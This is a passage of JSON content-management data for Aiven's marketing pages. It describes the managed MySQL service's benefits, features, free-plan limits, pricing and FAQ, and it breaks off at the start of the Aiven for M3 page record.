MySQL?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"7a42a1b1fb27","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"mysql"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"387ea3345f31","_type":"block","children":[{"_key":"3d01696c1b420","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? Do them both in a single click from your Aiven dashboard. With no interruptions or downtime. Ever."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for MySQL comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9add0d2514e6","_type":"block","children":[{"_key":"fa9cf86255710","_type":"span","marks":[],"text":"Increase your storage, get more clusters, or expand to new regions. MySQL has never been this easy."}],"markDefs":[],"style":"normal"},{"_key":"f0efee7f7f4e","_type":"block","children":[{"_key":"d57a319ebe2c0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Scale up or down as you need."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"ec92bebebecd","_type":"block","children":[{"_key":"7a323ddc20a10","_type":"span","marks":[],"text":"No one wants to spend an entire day getting databases set up or running maintenance checks. Or installing security patches, upgrades, and making sure things don’t break as you scale them."}],"markDefs":[],"style":"normal"},{"_key":"801f9d76f12e","_type":"block","children":[{"_key":"54634736d2460","_type":"span","marks":[],"text":"With Aiven’s hosted and managed MySQL, you can spin up your clusters with a couple of clicks — so you can stop burning hours managing DBs and get back to focusing on your code instead."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of MySQL as-a-service from Aiven"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"91f7f32bd526","_type":"block","children":[{"_key":"aaca6948d78b0","_type":"span","marks":[],"text":"MySQL is one of the most popular transactional engines for eCommerce platforms. It’s extremely useful for managing transactions, customer data and product catalogs. MySQL is also often used in conjunction with other, non-relational databases, including document and key-value stores for syncing order data, and storing non-product data."}],"markDefs":[],"style":"normal"}],"title":"eCommerce applications","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"2c94c178f2c0","_type":"block","children":[{"_key":"67feb4224f130","_type":"span","marks":[],"text":"As a simple, lightweight relational database that adheres to ACID principles, MySQL is an ideal choice for many web applications. It is the world’s most widely used open source database, with many skilled developers  using it and a large selection of 3rd party tools available that extend its capabilities."}],"markDefs":[],"style":"normal"}],"title":"Simple web applications and websites","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"017780cf500b","_type":"block","children":[{"_key":"1f77441f007b0","_type":"span","marks":[],"text":"Educational institutions utilize a wide variety of database applications from e-learning and application assessments to tuition payment processing systems. MySQL is a proven choice, widely used to automate many of the academic and administrative processes. It is also one of the most popular databases used for curricula and by scientists in research institutions."}],"markDefs":[],"style":"normal"}],"title":"Educational applications","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use MySQL"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for MySQL","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-744734608a7e307a55580485d57f1b13c50fbd99-3552x2266-png","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"1e758e026028","_type":"block","children":[{"_key":"9b585088933f0","_type":"span","marks":[],"text":"Production-ready MySQL clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dc9692d7d088","_type":"block","children":[{"_key":"f498c3ec2a950","_type":"span","marks":[],"text":"Deploy to the cloud of your choice with 5 public clouds and 100+ regions available"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"38bf7f15ee58","_type":"block","children":[{"_key":"ac81f7988bb00","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"8ecd2b037fbc5f55ffbbc94a4cf3e21b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-82a73be70526e8cb9711ce603644ca2eda7bd9c2-2332x1994-png","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"263544da07e8","_type":"block","children":[{"_key":"87d2293dce520","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"87d2293dce521","_type":"span","marks":["f0256e35113d"],"text":"VPC peering"},{"_key":"87d2293dce522","_type":"span","marks":[],"text":", "},{"_key":"87d2293dce523","_type":"span","marks":["4232f1f7c8a6"],"text":"PrivateLink"},{"_key":"87d2293dce524","_type":"span","marks":[],"text":" or "},{"_key":"87d2293dce525","_type":"span","marks":["f50904b7364c"],"text":"TransitGateway"},{"_key":"87d2293dce526","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f0256e35113d","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"4232f1f7c8a6","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"f50904b7364c","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"c81f0f48dc9f","_type":"block","children":[{"_key":"ab2a3aeed7da0","_type":"span","marks":["41fb93145ca1"],"text":"Integrate"},{"_key":"9f72d1595497","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use"},{"_key":"b54a6e6db25d","_type":"span","marks":[],"text":" "},{"_key":"2b67486b05e6","_type":"span","marks":["485da2fd3294"],"text":"Aiven observability tools"},{"_key":"eb7e8a4892e0","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"41fb93145ca1","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"485da2fd3294","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"},{"_key":"e02c607d69e0","_type":"block","children":[{"_key":"478b2a90efc90","_type":"span","marks":[],"text":"Create read-replicas to different clouds or regions for disaster recovery or geo-proximity"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-3c447de8bd02a9d7250c6f73c5df8e757d5793d4-2956x1928-png","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"2dc03c042e2f","_type":"block","children":[{"_key":"c855b3ffaadf0","_type":"span","marks":[],"text":"Manage your MySQL cluster using Aiven Console (GUI), "},{"_key":"c855b3ffaadf1","_type":"span","marks":["7f67622d563c"],"text":"CLI"},{"_key":"c855b3ffaadf2","_type":"span","marks":[],"text":" or "},{"_key":"c855b3ffaadf3","_type":"span","marks":["0e981af7c56a"],"text":"Terraform"},{"_key":"c855b3ffaadf4","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7f67622d563c","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"},{"_key":"0e981af7c56a","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"aed5c63c4279","_type":"block","children":[{"_key":"28db0fcb10f30","_type":"span","marks":[],"text":"Scale, fork, upgrade, and create replicas with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2572e9e27c27","_type":"block","children":[{"_key":"c232e463533e0","_type":"span","marks":[],"text":"Guaranteed compatibility with "},{"_key":"64fdec748cff","_type":"span","marks":["f5dac5d0af4e"],"text":"open source software"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f5dac5d0af4e","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"d730382617c1","_type":"block","children":[{"_key":"ffec6ec2984f0","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-88997ddc1ad58ebc6232b8e75358b694f97f17b6-3340x1696-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"dfaf3de70151","_type":"block","children":[{"_key":"82acf55da21c0","_type":"span","marks":[],"text":"Self-healing platform with 99.99% uptime SLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d00862d6a8c","_type":"block","children":[{"_key":"13f738f3aa6e0","_type":"span","marks":[],"text":"High availability plans come with 1 or 2 standby nodes, which also act as read replicas"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba586b468816","_type":"block","children":[{"_key":"7485712ca72f0","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"67f5d4565e02","_type":"block","children":[{"_key":"edbc102a232b0","_type":"span","marks":[],"text":"Automatic backups with "},{"_key":"edbc102a232b1","_type":"span","marks":["4c5d8c09bc29"],"text":"Point-In-Time-Recovery support"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4c5d8c09bc29","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/concepts/mysql-backups.html#mysql-backups-and-encryption"}],"style":"normal"},{"_key":"14afad19675e","_type":"block","children":[{"_key":"8f5be5a8acd40","_type":"span","marks":["ad498af7cb95"],"text":"Secure and compliant solution"},{"_key":"38c65f227bf1","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad498af7cb95","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"fd50146dfdf5","_type":"block","children":[{"_key":"5211f06894a50","_type":"span","marks":[],"text":"Option for 24/7 support from a 100% human support team"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"67e7f3b393f6865f2286704918d3e664","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},"subtitle":[{"_key":"4f25a0ea9e39","_type":"block","children":[{"_key":"55fec0c6c2c8","_type":"span","marks":[],"text":"Starting at just $0 a month, MySQL prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"e6cafc04909f","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"65c841cc5860","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"a8ca559f96fa","_ref":"8a523089-6963-4c88-a767-1a29d588861c","_type":"reference"},{"_key":"5629a9143c4f","_type":"accordionItem","id":"mysql-free-plan","panelText":[{"_key":"f383c0a6996e","_type":"block","children":[{"_key":"314b58df15650","_type":"span","marks":[],"text":"The "},{"_key":"ce21d027b2f1","_type":"span","marks":["e413468bb7d7"],"text":"free MySQL plan"},{"_key":"5bc6f0859559","_type":"span","marks":[],"text":" comes with the following specification:"}],"markDefs":[{"_key":"e413468bb7d7","_type":"internalLink","internalLink":{"_ref":"5bf8e320-5f39-4e26-9dc6-aa894cce583c","_type":"reference"}}],"style":"normal"},{"_key":"28276cb184bb","_type":"block","children":[{"_key":"856d73342bb10","_type":"span","marks":[],"text":"Single node"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1bd01a770cce","_type":"block","children":[{"_key":"6d30ca9f072f0","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4f8fcfd79c67","_type":"block","children":[{"_key":"56ed6c3b75160","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"359bcbfe040e","_type":"block","children":[{"_key":"2822b0581feb0","_type":"span","marks":[],"text":"5GB storage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"405d7099b12f","_type":"block","children":[{"_key":"3079f3dff91a0","_type":"span","marks":[],"text":"Easy management via our web console, CLI, API, Terraform provider, or Kubernetes operator"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"738929e8bb8a","_type":"block","children":[{"_key":"8365e76395060","_type":"span","marks":[],"text":"Out-of-the-box monitoring (metrics and logs)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"52261117e346","_type":"block","children":[{"_key":"4b0f00914bd10","_type":"span","marks":[],"text":"Backups"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8d1d6844c232","_type":"block","children":[{"_key":"b43e5fdb083a0","_type":"span","marks":[],"text":"Community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5880657b4d31","_type":"block","children":[{"_key":"ea4b2dee6e6c0","_type":"span","marks":[],"text":"However, some Aiven platform functionality is not available:"}],"markDefs":[],"style":"normal"},{"_key":"d65c3d559561","_type":"block","children":[{"_key":"5d5aab5009250","_type":"span","marks":[],"text":"No VPC peering, service integrations, or forking"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6f3ebccb5196","_type":"block","children":[{"_key":"bb8a1605a74d0","_type":"span","marks":[],"text":"No connection pooling"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9133d8b0c231","_type":"block","children":[{"_key":"2f3e9ece9ca20","_type":"span","marks":[],"text":"Only community support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c8374e3bbfd5","_type":"block","children":[{"_key":"824d6db8e52f0","_type":"span","marks":[],"text":"No 99.99% SLA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4187643119d5","_type":"block","children":[{"_key":"e6d123eaec100","_type":"span","marks":[],"text":"Only AWS, and only 9 regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"89bfd17bccf5","_type":"block","children":[{"_key":"40a629a8a3aa0","_type":"span","marks":[],"text":"Only one service per service type per user and organization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"What’s included in the free MySQL plan? "},{"_key":"51be9bd47952","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":false,"headerPosition":"left","id":"pricing","items":[{"_key":"9a2205784f55","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start free MySQL plan"},"subtitle":[{"_key":"f16bfbe79a0e","_type":"table","rows":[{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Features",""]},{"_key":"527e10ce-e691-4e9a-9362-310a4cd57e2d","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","2"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1 GB"]},{"_key":"6793f610-5198-453e-b5f9-db2044f56f7b","_type":"tableRow","cells":["Total storage","5 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","AWS with 9 regions all over the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Real-time backups to a remote location","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"cd4eea3a-50ca-4aba-b0ca-226ecabad3a8","_type":"tableRow","cells":["Restore to any point in time (PITR)","Single backup only for disaster recovery"]},{"_key":"e6bac5c7-311d-4cb9-ace6-1b5ecfd4ab35","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"Get started with a free plan","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=mysql","title":"Compare plans and pricing"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"subtitle":[{"_key":"0edd14d46409","_type":"block","children":[{"_key":"7bb15f6cc99a","_type":"span","marks":[],"text":"Starting at just $0 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost. Basic support is included in all the paid plans. "}],"markDefs":[],"style":"normal"},{"_key":"b907e64cc0fc","_type":"block","children":[{"_key":"de080f54e60a","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3d4db92b0b2c","_type":"block","children":[{"_key":"3ed3fa845097","_type":"span","marks":[],"text":"No extra maintenance, networking, or storage fees. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c8288b70995e","_type":"block","children":[{"_key":"92f83bc753c8","_type":"span","marks":[],"text":"Private networking (VPC), single-tenant, and high-availability multi-AZ available. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d546b37dccf7","_type":"block","children":[{"_key":"b80e821733e6","_type":"span","marks":[],"text":"Spin up clusters and regions when you need them, and shut them down when you don’t."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use."},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/mysql","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"70ed1c203369","_type":"block","children":[{"_key":"58e40df4fa100","_type":"span","marks":[],"text":"Getting started with Aiven for MySQL, including core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"be9364a22de9","_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},{"_key":"3bd8bd3fb80b","_ref":"1T7v4WU7Jn5ipK5AzGWgtD","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for MySQL"}],"infoBanner":{"_ref":"2628877d-b6aa-44a5-bbdb-26caa11abc5f","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for MySQL – fully managed SQL database and RDBMS ✓ All-in-one open source cloud data platform ✓ Try it for free","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for MySQL\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed MySQL, MySQL as a Service, Cloud MySQL\",\n \"description\": \"Aiven for MySQL is a managed and hosted version of the world's most popular open-source database offered on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud in all regions.\",\n \"featureList\": \"Read only replicas, Remote read replicas, Database forking, Point In Time Restore, Terraform support, Aiven metrics integration, VPC peering, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/mysql\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source SQL database\",\n \"applicationSubCategory\": \"Relational Database Management System\"\n}","metaTitle":"Managed MySQL | Aiven"},"service":{"_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},"slug":{"_type":"slug","current":"/mysql"},"title":"MySQL"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-30T16:52:15Z","_id":"69064bec-5161-4e98-9af3-96ca0315cbef","_rev":"jDcxKoOCH2FTyYsXRVRGbf","_type":"product","_updatedAt":"2024-05-20T22:32:09Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for M3","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"description":[{"_key":"de0b7725cd50","_type":"block","children":[{"_key":"f46147edbbf80","_type":"span","marks":[],"text":"Fully managed M3DB – the high-performance time series database with unlimited scalability and high availability."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-a373b736bde3d823e4aab82d21d5be197aea5256-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/m3db","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/m3db","title":"See docs"},"title":"Aiven for M3","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"},"title":"Aiven for M3"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for M3"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"075c192ec54b","_type":"block","children":[{"_key":"917274f012c20","_type":"span","marks":[],"text":"Get a high-performance TSDB – with Aiven for M3"}],"markDefs":[],"style":"h3"},{"_key":"b1f3e74ab3a8","_type":"block","children":[{"_key":"dfde5c33c2300","_type":"span","marks":[],"text":"M3DB is built for highly variable data. It features tunable time precision and highly efficient compressions to operate at scale and meet the changing demands of time stamped data. Add M3 Aggregator to 